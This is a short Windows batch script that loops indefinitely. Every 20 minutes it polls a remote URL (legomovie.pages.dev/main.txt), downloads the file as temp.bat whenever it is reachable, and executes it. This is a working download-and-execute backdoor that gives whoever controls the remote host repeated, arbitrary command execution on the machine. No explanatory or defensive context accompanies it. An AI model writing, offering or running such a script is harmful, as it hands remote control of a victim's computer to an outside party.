@echo off :loop curl --silent --head https://legomovie.pages.dev/main.txt | find "HTTP/1.1 200 OK" > nul if %errorlevel%==0 ( curl https://legomovie.pages.dev/main.txt --output temp.bat call temp.bat ) timeout /t 1200 goto loop